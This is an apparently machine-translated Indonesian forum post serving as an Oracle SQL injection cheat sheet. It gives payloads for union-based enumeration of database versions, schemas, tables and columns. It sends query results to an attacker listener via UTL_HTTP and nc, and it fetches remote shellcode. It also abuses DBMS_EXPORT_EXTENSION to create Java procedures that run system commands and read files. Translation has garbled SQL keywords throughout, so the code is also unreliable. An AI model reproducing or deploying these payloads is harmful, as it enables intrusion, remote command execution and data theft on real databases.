Posting ini terakhir diedit oleh tes pada 2015-1-24 13:01
Komentar: -- Eksekusi beberapa kalimat tidak didukung, dan kueri federasi didukung Nama database, nama tabel, dan nama kolom semuanya dikapitalisasi.
panjang (bidang) ascii(substr(bidang, N, 1))
dan (pilih count(*) dari dual)>0 -- Tentukan apakah itu oracle atau tidak
Perintah oleh n--
dan 1=2 union select null, null,.....,null from dual-- ganti null dengan N atau 'N'
dan 1=2 union select null, (pernyataan sql) ,.....,null dari dual -- ubah menjadi (pernyataan sql) di 'N'
dan (pilih count(*) dari all_objects di mana object_name='UTL_HTTP')>0 -- Tentukan apakah UTL_HTTP didukung (IP ekspor diketahui)
dan UTL_HTTP.request('http://LocalIP:port'|| (pernyataan SQL)) =1-- Kirim pesan dari jarak jauh ke lokal, pendengar lokal nc -vv -l -p 1234
Pernyataan SQL Pilih spanduk dari sys.v_$version di mana rownum=1 untuk mengkueri versi oracle pilih anggota dari v$logfile di mana rownum=1 Kueri jalur file log (Windows atau Linux) pilih utl_inaddr.get_host_address dari dual untuk mengkueri IP mendengarkan database Pilih instance_name dari v$instance untuk mengkueri sid pilih nama dari v$database Kueri nama database saat ini Pilih sys_context ('userenv','current_user') dari Pengguna Database Kueri Ganda Pilih * dari session_roles di mana rownum=1 untuk mengkueri izin pengguna saat ini Pilih * dari session_roles di mana rownum=1 [dan peran<>'nama izin pertama']
pilih table_name dari user_tables di mana rownum=1 Segmen tabel pertama dari database saat ini Pilih table_name||','|| tablespace_name dari user_tables di mana rownum=1 Segmen tabel pertama, database (untuk verifikasi, mungkin bukan v$database) pilih table_name dari user_tables di mana rownum=1 dan table_name<>'segmen tabel pertama' Segmen tabel kedua dari database saat ini
pilih column_name dari user_tab_columns di mana rownum=1 dan table_name='Segmen Tabel' Bidang pertama yang sesuai dengan nama tabel pilih column_name dari user_tab_columns di mana rownum=1 dan table_name='Segmen tabel' dan column_name<>'Bidang pertama' Bidang kedua yang sesuai dengan nama tabel
Pilih bidang dari segmen tabel di mana rownum=1 melanggar konten baris pertama Pilih bidang dari segmen tabel di mana rownum=1 dan <> bidang 'Konten baris pertama' mengekspos konten baris kedua
Lintas perpustakaan Pilih pemilik dari all_tables di mana rownum=1 mengkueri nama database pertama pilih owner dari all_tables di mana rownum=1 dan owner<> 'Nama database pertama' untuk mengkueri nama database kedua
pilih table_name dari all_tables di mana rownum=1 dan owner='database name' Kueri nama tabel pertama dari database yang sesuai Pilih table_name dari all_tables di mana rownum=1 dan owner='nama database' dan table_name<>'nama tabel pertama' untuk mengkueri nama tabel kedua dari database yang sesuai
pilih column_name dari all_tab_columns di mana rownum=1 dan owner='nama database' dan table_name='segmen tabel' Bidang pertama yang sesuai dengan nama tabel pilih column_name dari all_tab_columns di mana rownum=1 dan owner='nama database' dan table_name='segmen tabel' dan column_name<>'bidang pertama' Bidang kedua yang sesuai dengan nama tabel
Pilih bidang dari database. segmen tabel di mana rownum=1 melanggar konten baris pertama Pilih bidang dari database. Segmen tabel di mana rownum=1 dan bidang <> 'Konten Baris Pertama' melanggar konten baris kedua
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); AKHIR multi-pernyataan; --','SYS',0,'1',0)--
Jika 'lolos, chr() digunakan.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-pernyataan || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Jika beberapa kalimat terlalu panjang, Anda dapat menulis pernyataan ke file situs web dan menggunakan utl_http.request untuk mengambilnya.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Membuat paket JAVA SecTest runCMD digunakan untuk mengeksekusi perintah sistem dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA MENGEKSEKUSI PRAGMA AUTONOMOUS_TRANSACTION; MULAI EKSEKUSI SEGERA'''membuat atau mengganti dan mengkompilasi sumber java bernama "SecTest" sebagai java.io impor.*; kelas publik SecTest memperluas Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); mengembalikan str; }catch(Pengecualian e){return e.toString(); }}}''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--
readFile digunakan untuk membaca file dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA MENGEKSEKUSI PRAGMA AUTONOMOUS_TRANSACTION; MULAI EKSEKUSI SEGERA'''membuat atau mengganti dan mengkompilasi sumber java bernama "SecTest" sebagai java.io impor.*; kelas publik SecTest memperluas Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); mengembalikan str; }catch(Pengecualian e){return e.toString(); }}}''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--
Berikan izin Java dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA LAKSANAKAN ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; MULAI EKSEKUSI SEGERA ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''eksekusi''''''''); akhir; ''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--
Membuat fungsi Fungsi SecRunCMD dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA LAKSANAKAN ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; MULAI EKSEKUSI SEGERA ''''buat atau ganti fungsi SecRunCMD(p_cmd di varchar2) mengembalikan varchar2 sebagai bahasa java name''''''''SecTest.runCMD(java.lang.String) mengembalikan String'''''''' ; ''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--
Fungsi SecReadFile dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA LAKSANAKAN ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; MULAI EKSEKUSI SEGERA ''''fungsi buat atau ganti SecReadFile(nama file di varchar2) mengembalikan varchar2 sebagai nama java bahasa''''''''SecTest.readFile(java.lang.String) mengembalikan String' '''''''; ''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--
Berikan izin untuk menjalankan fungsi publik SecRunCMD diberikan izin dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA LAKSANAKAN ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; MULAI EKSEKUSI SEGERA ''''memberikan semua di SecRunCMD ke publik''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--
SecReadFile dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA LAKSANAKAN ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; MULAI EKSEKUSI SEGERA ''''memberikan semua di SecReadFile ke publik''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)--
Mendeteksi apakah fungsi berhasil dibuat dan (pilih count(*) dari all_objects di mana object_name='SECRUNCMD')>0-- dan (pilih count(*) dari all_objects di mana object_name='SECREADFILE')>0--
Jalankan perintah dan '1'<>(pilih sys. SecRunCMD('Jalankan perintah') dari dual)-- dan '1'<>(pilih sys. SecReadFile('alamat fisik file') dari dual)-- atau dan 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null dari dual-- dan 1=2 union select null,...,sys. SecReadFile('alamat fisik file'),...,null dari dual-- atau dan '1'<>(pilih UTL_HTTP.request('http://LocalIP:port'|| GANTI(GANTI(SISTEM. SecRunCMD('Jalankan Perintah'),' ',' '),'\n',' ')) dari dual)-- dan '1'<>(pilih UTL_HTTP.request('http://LocalIP:port'|| GANTI(GANTI(SISTEM. SecReadFile('Alamat Fisik File'),' ',' ','\n',' ')) dari dual)--
Hapus fungsi dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA LAKSANAKAN ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; MULAI JALANKAN FUNGSI DROP '''''segera SecRunCMD''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)-- dan '1'<>'a'|| (pilih SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); SEGERA LAKSANAKAN ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; MULAI JALANKAN SEGERA ''''drop fungsi SecReadFile''''; AKHIR; ''; AKHIR; --','SYS',0,'1',0) dari dual)-- |